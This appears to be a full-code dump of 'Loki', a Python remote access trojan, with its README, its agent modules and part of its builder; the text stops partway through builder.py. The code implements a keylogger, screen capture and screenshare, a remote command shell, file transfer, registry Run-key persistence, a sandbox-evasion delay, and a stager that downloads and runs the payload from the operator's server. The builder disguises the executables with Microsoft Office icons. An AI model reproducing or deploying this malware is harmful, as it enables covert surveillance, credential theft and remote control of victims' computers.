Full Code of Bitwise-01/Loki for AI

master da2d2ad1c55a cached
61 files
777.8 KB
216.4k tokens
468 symbols
1 requests
Download .txt
Showing preview only (807K chars total). Download the full file or copy to clipboard to get everything.
Repository: Bitwise-01/Loki
Branch: master
Commit: da2d2ad1c55a
Files: 61
Total size: 777.8 KB

Directory structure:
gitextract_umcxirla/

├── .gitignore
├── CHANGELOG.md
├── LICENSE
├── README.md
├── agent/
│   ├── bot/
│   │   ├── lib/
│   │   │   ├── __init__.py
│   │   │   ├── file.py
│   │   │   ├── info.py
│   │   │   ├── keylogger.py
│   │   │   ├── pathfinder.py
│   │   │   ├── screen.py
│   │   │   ├── session.py
│   │   │   ├── sftp.py
│   │   │   ├── shell.py
│   │   │   ├── sscreenshare.py
│   │   │   └── ssh.py
│   │   ├── template_payload.py
│   │   └── template_stager.py
│   ├── builder.py
│   ├── const.py
│   └── lib/
│       ├── __init__.py
│       ├── args.py
│       └── file.py
├── lib/
│   ├── __init__.py
│   ├── const.py
│   ├── database.py
│   └── server/
│       ├── __init__.py
│       ├── lib/
│       │   ├── __init__.py
│       │   ├── file.py
│       │   ├── interface.py
│       │   ├── session.py
│       │   ├── sftp.py
│       │   ├── shell.py
│       │   ├── sscreenshare.py
│       │   └── ssh.py
│       └── server.py
├── linter.sh
├── loki.py
├── requirements.txt
├── static/
│   ├── css/
│   │   ├── control.css
│   │   ├── home.css
│   │   ├── index.css
│   │   ├── intel.css
│   │   ├── main.css
│   │   └── settings.css
│   ├── js/
│   │   ├── command.js
│   │   ├── console.js
│   │   ├── exception.js
│   │   ├── home.js
│   │   ├── index.js
│   │   ├── settings.js
│   │   ├── ssh.js
│   │   └── terminal.js
│   └── vendor/
│       └── bootstrap-4.4.1-dist/
│           ├── css/
│           │   ├── bootstrap-grid.css
│           │   ├── bootstrap-reboot.css
│           │   └── bootstrap.css
│           └── js/
│               ├── bootstrap.bundle.js
│               └── bootstrap.js
└── templates/
    ├── base.html
    ├── home.html
    ├── index.html
    └── settings.html

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
# Generated samples
output/
.bin/

# Python cache
__pycache__/

# RSA key-pair
cert/

# VS Code
.vscode

# Database
database/
*.db

# Virtual environment
env_loki

# Downloads path 
downloads/

# Screenshare path 
static/img/

================================================
FILE: CHANGELOG.md
================================================
# Changelog

Changes for this project will be documented here

## [0.1.1] - 2020-03-12

### Changed

-   UI
-   Lighter payload size; from 22,773 KB to 9,490 KB
-   Builder only outputs exe

### Removed

-   Tasks


================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2018 Mohamed

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: README.md
================================================
# Loki

Loki is a simple **R**emote **A**ccess **T**ool.<br/>
Loki uses **RSA-2048** with **AES-256** to keep your communication with infected machines secure.<br/>

[![Version](https://img.shields.io/badge/Version-v0.1.1-blue)]()
[![Python](https://img.shields.io/badge/Python-v3.6%2B-blue)]()
[![Discord](https://img.shields.io/badge/Discord-server-blue)](https://discord.gg/VYRAZg5)
[![Donate](https://img.shields.io/badge/PayPal-Donate-orange.svg)](https://www.paypal.me/Msheikh03)
<br/><br/>

<img src="Screenshots/bots.png" atl=""/>

### Disclaimer

```
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
```

Loki, just like all my other repos is stricly for **educational** purposes.

### Requirements

-   Python **3.6.x** | **3.7.x** | **3.8.x**

### Server tested on

-   Windows 10
-   Kali Linux

### Bot tested on

-   Windows 10

### Payload generator tested on

-   Windows 10

### Features

-   Upload & Download
-   Chrome Launching
-   Persistence
-   Screenshare
-   Screenshot
-   Keylogger
-   SFTP
-   SSH

### Video

https://www.youtube.com/watch?v=UTfZlXGoJ5Y

### Installation

```shell
$> pip install -r requirements.txt
```

### Server side

1. Open `/lib/const.py` & configure your private and public IP's
2. Start loki.py
3. Navigate to http://localhost:5000
4. Login

    ```
    Username: loki
    Password: ikol
    ```

5. Start the server on the same IP as your private IP

### Generate a payload

Navigate to agent directory and run the following command

```shell
$> python builder.py -h
```

**It will not compile inside a virtual environment**

### After connection

-   You can click the id of the bot once it connects

### FYI

-   The bot will call the server using the Public IP, not the private IP
-   The bot will call the server using the port specified on the server tab


================================================
FILE: agent/bot/lib/__init__.py
================================================
# Date: 06/02/2018
# Author: Pure-L0G1C
# Description: __init__


================================================
FILE: agent/bot/lib/file.py
================================================
# Date: 08/31/2018
# Author: Pure-L0G1C
# Description: File manager


class File(object):

    chunk_size = (64 << 10) - 1

    @classmethod
    def read(cls, file):
        with open(file, 'rb') as f:
            while True:
                data = f.read(cls.chunk_size)
                if data:
                    yield data
                else:
                    break

    @classmethod
    def write(cls, file, data):
        with open(file, 'wb') as f:
            for n in range(0, len(data), cls.chunk_size):
                _max = n + cls.chunk_size
                _data = data[n:_max]
                f.write(_data.encode() if isinstance(_data, str) else _data)


================================================
FILE: agent/bot/lib/info.py
================================================
# Date: 07/22/2018
# Author: Pure-L0G1C
# Description: Machine information

import socket
from uuid import getnode
from requests import get
from hashlib import sha256
from getpass import getuser
from platform import system, node, release, version


class System(object):

    def __init__(self):
        self.system = system()
        self.hostname = node()
        self.release = release()
        self.version = version()
        self.username = getuser()
        self.uuid = self.get_id()

    def get_id(self):
        return sha256((str(getnode()) + getuser()).encode()).digest().hex()

    def sys_info(self):
        return {
            'uuid': self.uuid,
            'system': self.system,
            'release': self.release,
            'version': self.version,
            'hostname': self.hostname,
            'username': self.username
        }


class Geo(object):

    def __init__(self):
        self.geo = self.get_geo()
        self.internal_ip = self.get_internal_ip()

    def get_internal_ip(self):
        try:
            return socket.gethostbyname_ex(socket.gethostname())[-1][-1]
        except:
            return ''

    def get_geo(self):
        try:
            return get('http://ip-api.com/json').json()
        except:
            pass

    def net_info(self):
        data = self.get_geo()
        if data:
            i_ip = self.internal_ip
            if i_ip:
                data['internalIp'] = i_ip
        return data


class Information(object):

    def __init__(self):
        self.net_info = Geo().net_info()
        self.sys_info = System().sys_info()

    def parse(self, data):
        data = {
            'lat': data['lat'] if 'lat' in data else '',
            'lon': data['lon'] if 'lon' in data else '',
            'zip': data['zip'] if 'zip' in data else '',
            'isp': data['isp'] if 'isp' in data else '',
            'city': data['city'] if 'city' in data else '',
            'query': data['query'] if 'query' in data else '',
            'country': data['country'] if 'country' in data else '',
            'timezone': data['timezone'] if 'timezone' in data else '',
            'regionName': data['regionName'] if 'regionName' in data else '',
            'internalIp': data['internalIp'] if 'internalIp' in data else ''
        }

        if '/' in data['timezone']:
            data['timezone'] = data['timezone'].replace('/', ' ')

        if '_' in data['timezone']:
            data['timezone'] = data['timezone'].replace('_', ' ')

        return data

    def get_info(self):
        data = self.net_info
        return {
            'sys_info': self.sys_info,
            'net_info': self.parse(data if data else [])
        }


================================================
FILE: agent/bot/lib/keylogger.py
================================================
# Date: 09/30/2018
# Author: Pure-L0G1C
# Description: Keylogger

from threading import Thread
from pynput.keyboard import Key, Listener


class Keylogger(object):

    def __init__(self):
        self.data = []
        self.lastkey = None
        self.listener = None
        self.is_alive = True
        self.num_to_symbol = {
            '1': '!', '2': '@', '3': '#', '4': '$', '5': '%',
            '6': '^', '7': '&', '8': '*', '9': '(', '0': ')'
        }

        self.sym_to_symbol = {
            '`': '~', ',': '<', '.': '>', '/': '?', '\'': '\"', '\\': '|',
            ';':  ':', '[': '{', ']': '}', '-': '_', '=': '+'
        }

    def _start(self):
        with Listener(on_press=self.on_press, on_release=self.on_release) as self.listener:
            self.listener.join()

    def start(self):
        Thread(target=self._start, daemon=True).start()

    def stop(self):
        self.listener.stop()
        self.is_alive = False

    def dump(self):
        data = ''
        if not self.is_empty():
            data = ''.join(self.data)
            print(data)
        self.data = []
        return data if data else '-1'

    def on_release(self, key):
        if any([key == Key.shift, key == Key.shift_r]):
            self.lastkey = None

    def on_press(self, key):
        value = None
        if key == Key.backspace:
            if len(self.data):
                del self.data[-1]

        elif key == Key.tab:
            value = '\t'

        elif key == Key.enter:
            value = '\n'

        elif key == Key.space:
            value = ' '

        elif len(str(key)) == 3:
            value = self.check_for_shift(key)

        else:
            self.lastkey = key

        if value != None:
            self.data.append(value)

    def check_for_shift(self, key):
        key = key.char
        if any([self.lastkey == Key.shift, self.lastkey == Key.shift_r]):
            key = (key.upper() if key.isalpha() else self.num_to_symbol[key] if
                   key.isdigit() else self.sym_to_symbol[key] if key in self.sym_to_symbol else key)
        return key

    def is_empty(self):
        is_empty = True
        for data in self.data:
            if data.strip():
                is_empty = False
                break
        return is_empty


================================================
FILE: agent/bot/lib/pathfinder.py
================================================
# Date: 08/31/2018
# Author: Pure-L0G1C
# Description: Finds a random path

import os
from random import randint
from getpass import getuser


class Finder(object):

    root_dir = os.path.abspath(os.path.sep) + os.path.sep + \
        'Users' + os.path.sep + getuser() + os.path.sep + 'AppData'

    @staticmethod
    def is_bad(root, dirs, files):
        return not all([len(dirs), len(files), len(os.path.normpath(root).split(os.sep)) >= 5])

    @staticmethod
    def choice(items):
        for _ in range(randint(3, 10)):
            n = randint(0, len(items)-1)
        return items[n]

    @classmethod
    def find(cls):
        paths = []
        for root, dirs, files in os.walk(cls.root_dir, topdown=True):
            if cls.is_bad(root, dirs, files):
                continue
            _dir = cls.choice(dirs)
            if '.' in _dir:
                continue
            else:
                path = root + os.path.sep + _dir
                paths.append(path)
        return cls.choice(paths) + os.path.sep


================================================
FILE: agent/bot/lib/screen.py
================================================
# Date: 08/13/2018
# Author: Pure-L0G1C
# Description: Screen shot

from mss import mss
from os import path, remove

file = 'screen.png'


def screenshot():
    with mss() as sct:
        sct.shot(mon=-1, output=file)


def clean_up():
    if path.exists(file):
        try:
            remove(file)
        except:
            pass


================================================
FILE: agent/bot/lib/session.py
================================================
# Date: 06/02/2018
# Author: Pure-L0G1C
# Description: Session

import json
import const
import socket
from time import sleep
from lib.info import Information
from socket import timeout as TimeOutError


class Session(object):

    def __init__(self, session):
        self.session = session
        self.sys_info = Information().get_info()

    def shutdown(self):
        try:
            self.session.shutdown(socket.SHUT_RDWR)
            self.session.close()
        except:
            pass

    def initial_communication(self):
        sleep(0.5)
        self.send(code=const.CONN_CODE, args=self.sys_info)
        services = self.recv()
        return services

    def connect(self, ip, port):
        try:
            self.session.connect((ip, port))
            print('Establishing a secure connection ...')
            return self.initial_communication()
        except:
            pass

    def struct(self, code=None, args=None):
        return json.dumps({'code': code, 'args': args}).encode()

    def send(self, code=None, args=None):
        data = self.struct(code, args)
        try:
            self.session.sendall(data)
        except:
            pass

    def recv(self, size=4096):
        try:
            return json.loads(self.session.recv(size))
        except TimeOutError:
            return -1
        except:
            pass


================================================
FILE: agent/bot/lib/sftp.py
================================================
# Date: 07/27/2018
# Author: Pure-L0G1C
# Description: Secure FTP

import os
import ssl
import socket
from os import chdir
from . import screen
from . file import File
from time import sleep, time
from socket import timeout as TimeOutError


class sFTP(object):

    def __init__(self, ip, port, home, max_time=10, verbose=False):
        self.ip = ip
        self.port = port
        self.home = home
        self.verbose = verbose
        self.max_time = max_time
        self.chunk_size = 0xffff
        self.session_size = 0x1000
        self.recipient_session = None

    def display(self, msg):
        if self.verbose:
            print('{}\n'.format(msg))

    def read_file(self, file):
        with open(file, 'rb') as f:
            while True:
                data = f.read(self.chunk_size)
                if data:
                    yield data
                else:
                    break

    def test_tunnel(self):
        value = b'abc123'
        self.recipient_session.sendall(value)

        if self.recipient_session.recv(self.session_size) == value:
            return True
        return False

    def send_file(self, file):
        self.test_tunnel()

        chdir(self.home)
        if not os.path.exists(file):
            self.display('File `{}` does not exist'.format(file))
            return -1

        # send file's name
        sleep(0.5)
        print('Sending file\'s name ...')
        self.recipient_session.sendall(os.path.basename(file).encode('utf8'))

        # send file's data
        sleep(0.5)
        self.display('Sending {} ...'.format(file))

        chdir(self.home)
        for data in File.read(file):
            self.recipient_session.sendall(data)
        self.display('File sent')

    def recv_file(self):
        _bytes = b''

        # receive file's name
        file_name = self.recipient_session.recv(self.session_size)

        # receive file's data
        self.display('Downloading {} ...'.format(file_name))
        while True:
            data = self.recipient_session.recv(self.chunk_size << 2)
            if data:
                _bytes += data
            else:
                break

        return file_name, _bytes

    def close(self):
        try:
            self.recipient_session.close()
            self.recipient_session.shutdown(socket.SHUT_RDWR)
        except:
            pass

    def socket_obj(self):
        chdir(self.home)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)

        for i in range(30):
            try:
                self.recipient_session = ssl.wrap_socket(
                    sock, ssl_version=ssl.PROTOCOL_SSLv23)
                self.recipient_session.connect((self.ip, self.port))
                return 0
            except:
                sleep(0.5)

        return -1

    def send(self, file):
        if self.socket_obj() == -1:
            return -1
        try:
            started = time()
            self.send_file(file)
            self.display('Time-elapsed: {}(sec)'.format(time() - started))
        except:
            pass
        finally:
            self.close()

    def recv(self):
        if self.socket_obj() == -1:
            return -1
        try:
            started = time()
            file_name, data = self.recv_file()
            chdir(self.home)
            File.write(file_name, data)
            self.display('Time-elapsed: {}(sec)'.format(time() - started))
        except:
            pass
        finally:
            self.close()


================================================
FILE: agent/bot/lib/shell.py
================================================
# Date: 06/04/2018
# Author: Pure-L0G1C
# Description: Communicate with server

import sys
import subprocess
from os import chdir
from time import sleep
from queue import Queue
from threading import Thread, RLock
from . import ssh, sftp, screen, sscreenshare, keylogger


class Shell(object):

    def __init__(self, sess_obj, services, home):
        self.recv_queue = Queue()
        self.disconnected = False
        self.services = services
        self.session = sess_obj
        self.home = home

        self.is_alive = True
        self.lock = RLock()

        self.ftp = None
        self.ssh = None
        self.keylogger = None
        self.screenshare = None

        self.cmds = {
            1: self.ssh_obj,
            2: self.reconnect,
            3: self.download,
            4: self.upload,
            5: self.screen,
            6: self.chrome,
            7: self.disconnect,
            8: self.create_persist,
            9: self.remove_persist,
            12: self.logger_start,
            13: self.logger_stop,
            14: self.logger_dump,
            15: self.screenshare_start,
            16: self.screenshare_stop
        }

    def listen_recv(self):
        while self.is_alive:
            recv = self.session.recv()
            if recv == -1:
                continue  # timed out

            if recv:
                with self.lock:
                    self.recv_queue.put(recv)
            else:
                if self.is_alive:
                    self.is_alive = False
                    self.display_text('Server went offline')

    def parser(self):
        while self.is_alive:
            if self.recv_queue.qsize():
                data = self.recv_queue.get()
                code = data['code']
                args = data['args']
                self.display_text(data['args'])
                if code in self.cmds:
                    Thread(target=self.cmds[code], args=[
                           args], daemon=True).start()

    def stop(self):
        if self.ssh:
            self.ssh.close()

        if self.ftp:
            self.ftp.close()

        if self.keylogger:
            self.keylogger.stop()

        if self.screenshare:
            self.screenshare.stop()

    def shell(self):
        t1 = Thread(target=self.listen_recv)
        t2 = Thread(target=self.parser)

        t1.daemon = True
        t2.daemon = True

        t1.start()
        t2.start()

        while self.is_alive:
            try:
                sleep(0.5)
            except:
                break
        self.close()

    def send(self, code=None, args=None):
        self.session.send(code=code, args=args)

    # -------- UI -------- #

    def display_text(self, text):
        print('{0}Response: {1}{0}'.format('\n\n\t', text))

    def close(self):
        self.is_alive = False
        self.session.shutdown()
        self.stop()

    def reconnect(self, args):
        print('Reconnecting ...')
        self.close()

    def disconnect(self, args):
        print('Disconnecting ...')
        self.disconnected = True
        self.close()

    def ssh_obj(self, args):
        if self.ssh:
            self.ssh.close()

        self.ssh = ssh.SSH(
            self.services['ssh']['ip'], self.services['ssh']['port'], self.home)
        t = Thread(target=self.ssh.client)
        t.daemon = True
        t.start()

    def screenshare_start(self, update):
        if self.screenshare:
            self.screenshare.stop()

        self.screenshare = sscreenshare.ScreenShare(
            self.services['ftp']['ip'], self.services['ftp']['port'], update
        )

        if self.screenshare.setup() != 0:
            self.screenshare = None
        else:
            Thread(target=self.screenshare.start, daemon=True).start()

    def screenshare_stop(self, args):
        if self.screenshare:
            self.screenshare.stop()

    def download(self, args):
        print('Downloading ...')
        self.ftp = sftp.sFTP(
            self.services['ftp']['ip'], self.services['ftp']['port'], self.home, verbose=True)
        try:
            self.ftp.recv()
        except:
            pass
        finally:
            self.ftp.close()

    def upload(self, file):
        print('Uploading {}'.format(file))
        self.ftp = sftp.sFTP(
            self.services['ftp']['ip'], self.services['ftp']['port'], self.home, verbose=True)
        try:
            self.ftp.send(file)
        except:
            pass
        finally:
            self.ftp.close()

    def screen(self, args):
        chdir(self.home)
        screen.screenshot()
        self.upload(screen.file)
        screen.clean_up()

    def chrome(self, urls):
        if '-1' in urls:
            return
        cmd = 'start chrome -incognito {}'.format(' '.join(urls))
        subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE,
                         stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    def create_persist(self, args):
        if hasattr(sys, 'frozen'):
            _path = sys.executable
            cmd = r'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v loki /f /d "\"{}\""'.format(
                _path)
            subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE,
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    def remove_persist(self, args):
        if hasattr(sys, 'frozen'):
            cmd = r'reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v loki /f'
            subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE,
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    def logger_start(self, args):
        if not self.keylogger:
            self.keylogger = keylogger.Keylogger()
        self.keylogger.start()

    def logger_stop(self, args):
        if self.keylogger:
            self.keylogger.stop()

    def logger_dump(self, args):
        if self.keylogger:
            self.send(-0, self.keylogger.dump())


================================================
FILE: agent/bot/lib/sscreenshare.py
================================================
# Date: 10/03/2019
# Author: Mohamed
# Description: Secure Screenshare

import os
import ssl
import time
import socket
from mss import mss
from . file import File


class ScreenShare:

    image = 'image.png'
    EOF = '<EOF>'.encode()

    def __init__(self, ip, port, update=5):
        self.ip = ip
        self.port = port
        self.is_alive = True
        self.update = update
        self.recipient_session = None

    def socket_obj(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)

        try:
            print('Starting screenshare ...')
            self.recipient_session = ssl.wrap_socket(
                sock,
                ssl_version=ssl.PROTOCOL_SSLv23
            )

            self.recipient_session.connect((self.ip, self.port))
        except:
            return -1

    def send_image(self):
        with mss() as sct:

            while self.is_alive:

                # Capture the screen
                sct.shot(mon=-1, output=self.image)

                # Send screenshot
                for data in File.read(self.image):
                    self.recipient_session.sendall(data)

                # Send EOF code
                self.recipient_session.sendall(self.EOF)
                time.sleep(self.update)

    def setup(self):
        if self.socket_obj() == -1:
            return -1
        return 0

    def start(self):
        try:
            self.send_image()
        except Exception as e:
            print('Errors:', e)
            self.stop()

    def stop(self):
        if not self.is_alive:
            return

        print('Stopping screenshare ...')

        self.is_alive = False

        try:
            self.recipient_session.close()
            self.recipient_session.shutdown(socket.SHUT_RDWR)
        except:
            pass

        # Remove image
        try:
            os.remove(self.image)
        except:
            pass


================================================
FILE: agent/bot/lib/ssh.py
================================================
# Date: 07/27/2018
# Author: Pure-L0G1C
# Description: Secure shell

import os
import ssl
import socket
import subprocess
from queue import Queue
from threading import Thread
from socket import timeout as TimeOutError


class Communicate(object):

    def __init__(self, session):
        self.recvs_decrypted = Queue()
        self.session_recv = 4096 << 12
        self.session = session
        self.is_alive = True
        self.pending = False

    def recv(self):
        self.session.settimeout(0.5)
        while self.is_alive:
            try:
                recv = self.session.recv(self.session_recv)

                if recv:
                    self.pending = False
                    data = recv.decode('utf8')
                    if data != '-1':
                        self.recvs_decrypted.put(data)

                else:
                    self.stop()
            except:
                pass

    def send(self, data):
        if len(data.strip()):
            if not self.is_alive:
                return
            try:
                self.session.sendall(data.encode('utf8'))
                self.pending = True
            except:
                pass

    def start(self):
        recv = Thread(target=self.recv)
        recv.daemon = True
        recv.start()

    def stop(self):
        self.is_alive = False


class Client(object):

    def __init__(self, communication, home):
        self.communication = communication
        self.is_alive = True
        self.home = home

    def start(self):
        self.communication.start()
        while all([self.is_alive, self.communication.is_alive]):
            while self.communication.recvs_decrypted.qsize():
                cmd = self.communication.recvs_decrypted.get()
                output = self.exe(cmd)
                self.communication.send(output)
                self.communication.send('-1')

    def exe(self, cmd):
        if cmd.strip() == 'cls':
            return '-1'
        try:
            proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE,
                                    stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
            output = proc[0].decode('utf8')
            errors = proc[1].decode('utf8')
            output = output if output else errors
        except Exception as e:
            output = f'Error: {e}'

        if cmd.split()[0] == 'cd':
            if len(cmd.split()) != 1:
                path = ' '.join(cmd.split()[1:])
                if os.path.exists(path):
                    os.chdir(path)
            else:
                os.chdir(self.home)
            output = os.getcwd()

        return output if len(output) else '-1'

    def stop(self):
        self.is_alive = False
        self.communication.is_alive = False


class SSH(object):

    def __init__(self, ip, port, home, max_time=10, verbose=False):
        self.ip = ip
        self.port = port
        self.home = home
        self.verbose = verbose
        self.cert = 'public.crt'
        self.max_time = max_time
        self.communication = None
        self.recipient_session = None

    def display(self, msg):
        if self.verbose:
            print('{}\n'.format(msg))

    def close(self):
        try:
            if self.communication:
                self.communication.stop()

            self.recipient_session.close()
            self.recipient_session.shutdown(socket.SHUT_RDWR)
        except:
            pass

    def send(self, cmd):
        if self.communication:
            return self.communication.send(cmd)

    def socket_obj(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(self.max_time)

        for i in range(30):
            try:
                self.recipient_session = ssl.wrap_socket(
                    sock, ssl_version=ssl.PROTOCOL_SSLv23)
                self.recipient_session.connect((self.ip, self.port))
                return 0
            except:
                sleep(0.5)

        return -1

    def client(self):
        if self.socket_obj() == -1:
            self.display('Failed to connect to {}:{}'.format(
                self.ip, self.port))
            return -1

        communication = Communicate(self.recipient_session)

        if self.communication:
            self.communication.stop()

        self.communication = Client(communication, self.home)
        self.communication.start()
        return 0


================================================
FILE: agent/bot/template_payload.py
================================================
# Date: 06/04/2018
# Author: Pure-L0G1C
# Description: Bot

import sys
import ssl
import socket
from time import sleep
from random import randint
from lib import shell, session
from os import getcwd, path, chdir

# wait, we might be in a sandbox.
sleep(randint(16, wait_time))

# auto persist
AUTO_PERSIST = auto_persist

if AUTO_PERSIST:
    shell.Shell(None, None, None).create_persist(None)

# executable
if hasattr(sys, 'frozen'):
    chdir(path.dirname(sys.executable[:-2]))

# address
IP = addr_ip
PORT = addr_port


class Bot(object):

    def __init__(self, home):
        self.shell = None
        self.home = home
        self.conn = None
        self.port = None
        self.ip = None

    def shutdown(self):
        try:
            self.conn.shutdown(socket.SHUT_RDWR)
            self.conn.close()
        except:
            pass

    def connect(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        self.conn = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23)
        s = session.Session(self.conn)
        services = s.connect(self.ip, self.port)

        if not services:
            self.ip, self.port, self.is_active = None, None, False
            self.display_text(
                'Server is unavailable, trying again in a bit')
        else:
            self.shell = shell.Shell(s, services['args'], self.home)
            self.is_active = True
            self.shell.shell()

    # -------- UI -------- #

    def display_text(self, text):
        print('{0}{1}{0}'.format('\n\n\t', text))

    def contact_server(self, ip, port):
        self.ip, self.port = ip, int(port)
        try:
            self.connect()
        except:
            pass
        finally:
            self.shutdown()


if __name__ == '__main__':
    home = getcwd()

    while True:
        chdir(home)
        bot = Bot(home)
        bot.contact_server(IP, PORT)

        if bot.shell:
            if bot.shell.disconnected:
                break
        try:
            sleep(randint(30, 60))
        except:
            break
        del bot


================================================
FILE: agent/bot/template_stager.py
================================================
import subprocess
import ssl
import json
import socket
import time
import random
import os

from lib import pathfinder

# Constants
IP = addr_ip
PORT = addr_port

BLOCK_SIZE = block_size
STAGER_CODE = stager_code
PAYLOAD_FILE = output_file

HIDE_PAYLOAD = hide_payload


def connect():

    # sock obj
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)

    # connect
    sess = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23)

    while True:
        try:
            sess.connect((IP, PORT))
            print('Establishing connection...')
            break
        except:
            time.sleep(random.randint(15, 30))

    return sess


def get_payload(sess):

    # request payload
    sess.sendall(json.dumps({'code': STAGER_CODE, 'args': None}).encode())

    # download payload
    payload = b''

    print('Downloading payload...')
    while True:
        try:
            payload += sess.recv(BLOCK_SIZE)
        except:
            break

    return payload


while True:
    payload = get_payload(connect())

    if len(payload):
        break

    print('Failed to download payload.\nRetrying...')
    time.sleep(random.randint(15, 30))

# write to file
path = os.path.join(pathfinder.Finder().find(),
                    PAYLOAD_FILE) if HIDE_PAYLOAD else PAYLOAD_FILE

with open(path, 'wb') as f:
    for i in range(0, len(payload), BLOCK_SIZE):
        f.write(payload[i:i + BLOCK_SIZE])

# execute
subprocess.call(path.split(), shell=True)


================================================
FILE: agent/builder.py
================================================
# Date: 09/01/2018
# Author: Pure-L0G1C
# Description: Execute creator

import os
import sys
import zlib
import shlex
import shutil
import smtplib
import tempfile

import const

from lib.file import File
from lib.args import Args

try:
    from PyInstaller import __main__ as pyi, is_win
except:
    print('Please install Pyinstaller: pip install pyinstaller')
    sys.exit(1)


class Executor(object):

    def __init__(self, ip, port, filename, wait, icon, hide, persist):
        self.ip = ip
        self.port = port
        self.hide = hide
        self.wait = wait
        self.binary = b''
        self.persist = persist
        self.filename = filename
        self.icon = shlex.quote(icon)

        self.output_dir = 'output'
        self.tmp_dir = tempfile.mkdtemp()
        self.dist_path = os.path.join(self.tmp_dir, 'application')

        self.output_dir = 'output'
        self.dist_path = os.path.join(self.tmp_dir, 'application')

        # Stager
        self.stager_template = os.path.join('bot', 'template_stager.py')
        self.stager_py_temp = os.path.join('bot', filename + '.py')
        self.stager_compiled = os.path.join(self.dist_path, filename + '.exe')

        # Payload
        self.bot_template = os.path.join('bot', 'template_payload.py')

        payload_name = os.path.splitext(
            os.path.basename(const.PAYLOAD_PATH))[0]

        self.bot_py_temp = os.path.join('bot', payload_name + '.py')
        self.bot_compiled = os.path.join(
            self.dist_path,  payload_name + '.exe')

    def replace(self, data, _dict):
        for k in _dict:
            data = data.replace(k, _dict[k])
        return data

    def compile_file(self, path):
        path = os.path.abspath(path)

        build_path = os.path.join(self.tmp_dir, 'build')
        cmd = 'pyinstaller -y -F -w -i {} {}'.format(
            self.icon, shlex.quote(path))

        sys.argv = shlex.split(cmd) + ['--distpath', self.dist_path] + \
            ['--workpath', build_path] + ['--specpath', self.tmp_dir]

        pyi.run()

    def write_template(self, template, py_temp, _dict):
        data = ''
        for _data in File.read(template, False):
            data += _data

        File.write(py_temp, self.replace(data, _dict))
        self.compile_file(py_temp)

    def compile_stager(self):
        args = {
            'addr_ip': repr(self.ip),
            'addr_port': str(self.port),
            'block_size': repr(const.BLOCK_SIZE),
            'stager_code': repr(const.STAGER_CODE),
            'output_file': repr(self.filename + '_.exe'),
            'hide_payload': str(self.hide),
        }

        self.write_template(self.stager_template, self.stager_py_temp, args)
        self.move_file(self.stager_compiled, self.output_dir)

    def compile_bot(self):
        args = {
            'addr_ip': repr(self.ip),
            'addr_port': str(self.port),
            'wait_time': str(self.wait),
            'auto_persist': repr(self.persist)
        }

        self.write_template(self.bot_template, self.bot_py_temp, args)

        payload_output = os.path.dirname(const.PAYLOAD_PATH)
        self.move_file(self.bot_compiled, payload_output)

    def move_file(self, file, output_dir):
        file = os.path.basename(file)
        _path = os.path.join(output_dir, file)

        if not os.path.exists(output_dir):
            os.mkdir(output_dir)

        if os.path.exists(_path):
            os.remove(_path)

        path = os.path.join(self.dist_path, file)
        shutil.move(path, output_dir)

    def start(self):
        self.compile_bot()
        self.compile_stager()
        self.clean_up()

    def clean_up(self):
        shutil.rmtree(self.tmp_dir)
        os.remove(self.bot_py_temp)
        os.remove(self.stager_py_temp)


if __name__ == '__main__':
    args = Args()
    if args.set_args():
        if not args.icon:
            icons = {
                1: 'icons/wordicon.ico',
                2: 'icons/excelicon.ico',
                3: 'icons/ppticon.ico'
            }

            option = input(
                '\n\n1) MS Word\n2) MS Excel\n3) MS Powerpoint\n\nSelect an icon option: ')

            if not option.isdigit():
                args.icon = icons[1]
            elif int(option) > 3 or int(option) < 1:
                args.icon = icons[1]
            else:
                args.icon = icons[int(option)]

            args.icon = os.path.abspath(args.icon)

        executor = Executor(args.ip, args.port, args.name,
